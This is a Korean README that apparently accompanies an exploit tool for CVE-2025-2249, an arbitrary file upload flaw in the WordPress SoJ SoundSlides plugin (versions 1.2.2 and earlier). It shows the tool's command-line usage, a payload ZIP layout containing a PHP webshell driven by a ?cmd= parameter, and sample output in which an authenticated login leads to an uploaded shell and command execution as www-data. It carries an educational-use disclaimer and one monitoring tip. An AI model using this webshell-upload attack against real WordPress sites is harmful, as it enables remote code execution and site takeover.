
WordPress SoJ SoundSlides 플러그인 <= 1.2.2는 임의 파일 업로드에 취약합니다.
⚠️ 면책 조항: 이 익스플로잇은 교육 및 승인된 테스트 목적으로만 사용됩니다.
SoJ SoundSlides 플러그인은 Contributor 이상 역할을 가진 인증된 사용자가 임의의 ZIP 파일을 업로드할 수 있도록 합니다. 검증이 누락되어 공격자가 웹 접근 가능한 디렉터리에서 추출 및 실행되는 PHP 웹쉘을 업로드할 수 있습니다.
유효한 WordPress 자격 증명을 가진 공격자는 다음을 수행할 수 있습니다:
?cmd=)usage: CVE-2025-2249.py [-h] -u URL -un USERNAME -p PASSWORD
Exploit for CVE-2025-2249 | WordPress SoJ SoundSlides Plugin # By Nxploited | Khaled ALenazi,
options:
-h, --help show this help message and exit
-u, --url URL WordPress base URL
-un, --username USERNAME
WordPress username
-p, --password PASSWORD
WordPress password
| 인수 | 설명 |
|---|---|
-u | WordPress 기본 URL |
-un | WordPress 사용자 이름 |
-p | WordPress 암호 |
readme.txt에서 버전 확인nxploit/
├── index.html
├── data/
│ └── data.xml
├── audio/
│ └── audio.mp3
└── nxploit.php ← PHP shell (?cmd=)
[*] Checking plugin version...
[+] Vulnerable version detected.
[*] Logging in...
[+] Login successful.
[*] Uploading shell...
[*] Shell uploaded: http://target/wp-content/uploads/SoundSlides/nxploit_shell/nxploit.php
> whoami
www-data
.php 파일에 대해 wp-content/uploads/ 모니터링❤️로 제작 [Nxploited | Khaled ALenazi]
교육, 인식 및 방어를 위해.
보안은 모든 사람의 책임입니다. 항상 윤리적으로 테스트하고, 책임감 있게 보고하며, 웹을 보호하세요.